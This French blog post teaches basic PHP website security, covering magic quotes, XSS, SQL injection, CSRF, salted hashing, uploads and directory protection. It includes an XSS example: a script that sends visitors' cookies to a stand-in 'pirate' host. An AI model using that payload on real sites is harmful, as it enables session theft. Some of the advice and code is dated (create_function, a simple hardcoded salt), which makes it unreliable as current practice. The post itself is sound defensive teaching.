Deblan blog

Les bases de la sécurité sur un site (PHP)

Je vais le faire une fois pour toute et je donnerai le lien quand on me posera encore une fois la question : comment sécuriser correctement son site web ?

Cette question de sécurité est assez difficile à traiter puisque le sujet est vaste. Je parlerai des fondamentaux de la sécurité sur un site web avec php comme moulinette. Évidement, les principes resteront les mêmes (ou presque) quelque soit le langage.

La première règle à se rappeler est que chaque serveur web a (ou peut avoir) des configurations différentes. Ce qui peut être vrai sur OVH ne le sera pas forcément sur 1and1 : les versions de PHP, leur configuration, leurs extensions, etc.
Pour illustrer un peu, je vais donner l'exemple de la conf. des MAGIC_QUOTES. Un jour un mec s'est dit « Tiens, je vais mâcher le boulot des développeurs sans me demander si sur du long terme c'est viable ou pas ». Alors il a décidé que PHP ajouterait, si la configuration le demande, des backslashes devant « " » et « ' » sur les variables $_GET, $_POST, $_COOKIE et $_REQUEST. Cela permet d'éviter (ou presque) certaines injections de code (par exemple SQL). Si sur le serveur A, MAGIC_QUOTES est à on, alors si j'accède à http://A/page.php?foo=bar' et que je fais un :

<p><?php echo $_GET['foo']; ?></p>

J'aurai :

<p>bar\'</p>

Mais si sur un serveur B, cette configuration passe à off, alors j'aurai d'affiché :

<p>bar'</p>

Je ne sais pas combien de développeurs ne font pas gaffe à ça, et en migrant de serveur voit leur site presque sécurisé se faire pirater en 30s chrono !

Une solution est de virer systématique les backslahes ajoutés par leur serveur :

Source : http://fr.php.net/manual/fr/function.get-magic-quotes-gpc.php

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');
   
    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

La deuxième règle d'or est de ne jamais faire confiance aux utilisateurs ! Je suis le premier à bidouiller tout ce que je peux sur un site pour passer les sécurités (avant de contacter le webmaster).

Chaque donnée en provenances des internautes est potentiellement dangereuse.
Il faut donc traiter comme il faut tout ce que vous ne maitrisez encore.

D'une part, si vous affichez des données de ce type, pensez à virer tout les caractères HTML permettant de modifier le DOM de la page (faille XSS). Sur jeuxvideo.com, ce sont 6 failles de ce type qui auraient pues me permettre de faire du vol de cookies de connexion et du Phishing.

Voila un exemple concret : j'ai une page qui affiche la variable $_GET['prenom'] dans mon code :

<?php
if(isset($_GET['prenom'])) {
    echo 'Ton prénom est ', $_GET['prenom'], '.';
}

Ainsi en allant sur http://monsite.com/page.php?prenom=Foo ma page affichera :

Ton prénom est Foo.

Prenons le cas d'un type un peu méchant qui indiquerait
http://monsite.com/page.php?prenom=<script> document.location.href="http://pirate/mechant.php?cookie=" + document.cookie; </script> alors :

Ton prénom est <script>document.location.href="http://pirate/mechant.php?cookie="+document.cookie;</script>.

Si le pirate indique le lien à un utilisateur naïf, il serait alors redirigé vers un serveur pirate qui aurait maintenant accès aux cookies du mec sur le site "monsite.com". Quand il s'agit de cookie d'auto connexion, c'est assez problématique.

Cette technique est aussi utilisée pour injecter du code SQL dans les requêtes mal sécurisées. En googlant un peu, vous trouverez des exemples d'injections SQL. La seule solution vraiment viable est d'utiliser de bons outils, je pense par exemple à PDO qui fait tout pour vous, à condition de l'utiliser correctement : http://fr.php.net/pdo.quote et http://fr.php.net/manual/fr/pdo.prepare.php.

Donc vérifiez systématiquement le type de données envoyées par l'utilisateur : si vous avez une chaine de caractères alors que vous vous attendez à un nombre, ça commence mal. Utilisez les fonctions comme htmlentities() et prenez soit de parser les données avant de les utiliser.

Donc on a vu les injections XSS et SQL, passons maintenant au XSRF qui consiste à faire exécuter une action à un utilisateurs sans qu'il ne s'en rende compte.

Imaginons que vous êtes connecté en administrateur sur votre blog et que pour supprimer des articles, vous avez des liens construits de cette manière : http://monsite.com/administration/supprimer_article?id=XXX. Il suffit alors qu'un mec fasse une bête iframe sur une de ses pages avec cette url comme source et vous invite à la visiter pour qu'il vide votre blog.

Il faut donc faire plusieurs tests qui seront par exemple l'url de référence de la page d'administration. Il faut également utiliser des token qui sont des clés générés par le serveur : ils sont propres au client, aléatoires, in-devinables et utilisables qu'une seule fois. Concrètement, regarder les url dans phpmyadmin pour comprendre ! Pour information, une simple image avec une redirection HTTP dedans permet de faire un XSRF.

Ceci m'amène à une règle essentielle qui est de hashée les données sensibles des utilisateurs : un mot de passe en clair dans une base de données, c'est super dangereux.
Mais ça ne suffit pas. Effectivement, prenons un hash d'un nombre : il me faudra à peu près 5s pour pour le découvrir. Il existe une solution qui consiste à ajouter un SALT. En fait, c'est une chaine de caractère qui sera ajoutée quand on va hasher une donnée. Cette information doit rester évidement confidentielle. L'idée est de bloquer le brute forcing si on a accès à l'ensemble de données hashées d'un utilisateur.

<?php
// Basiquement, au lieu de faire :
$donnee_hashee = fonction_de_hash($donnee);

// on fera :
$salt =  '*@[o|';
$donnee_hashee = fonction_de_hash($salt.$donnee);

Quand il s'agit d'upload de fichier, ne vous fiez jamais à extension mais plutôt à l'entête du fichier. Je peux uploader un fichier .jpg alors que du php est inséré dedans.

Ne donnez pas accès aux dossiers auxquels l'utilisateur n'est pas normalement amené à visiter. Si vous avez des répertoires avec des fichiers de configuration, ajoutez un .htaccess pour bloquez l'accès HTTP. Si vous avez des bases de données SqLite, protégez-les avec un chmod correct et planquez les là ou aucun requêtage HTTP est possible.

Il y a encore un tas d'autres règles simples à s'imposer comme ne pas trop donner trop d'informations dans une erreur. Par exemple, si vous avez un formulaire de connexion et que le couple login/mot de passe n'est pas correct, il ne faut pas indiquer que c'est le login qui est mauvais, ou le mot de passe. Vous éviterez de rendre le brute forcing de votre page trop simple.
Évitez d'indiquer les versions exacts des technologies que vous utilisez (php, cms, etc). Pour peu que vous ne soyez pas à jour (et c'est très mal), il sera enfantin de casser votre système avec une faille connue. Utilisez des outils reconnues avec à la fois de la documentation mais aussi un développement constant. Gardez aussi en mémoire qu'un outil open-source (et pas abandonné) est intéressant pour au moins une raison : le code est ouvert et si il y a des trous de sécurité, ils seront découverts et patchés rapidement.

J'alimenterai ce post quand j'aurai d'autres choses à dire. Si vous avez des choses à ajouter, faites-en moi part en commentaire. J'insiste sur le fait que ce sont des bases de sécurité et qu'il y a encore d'autres choses à faire pour avoir un site bien protégé.


  • Alex
    • ,
    • Pour enfoncer le clou concernant les injections SQL et le XSS, le site www.securitycompass.com met gratuitement à disposition des plugin firefox qui automatisent les test. Concrètement, on active le plugin, on navigue , et un seul clique permet de tester des injections sql et xss sur toute la page visité. Bref si vous êtes pas sur de votre coups, ça peut aider :p

Ajouter un commentaire

Vous pouvez utiliser du markdown.Afficher l'aide.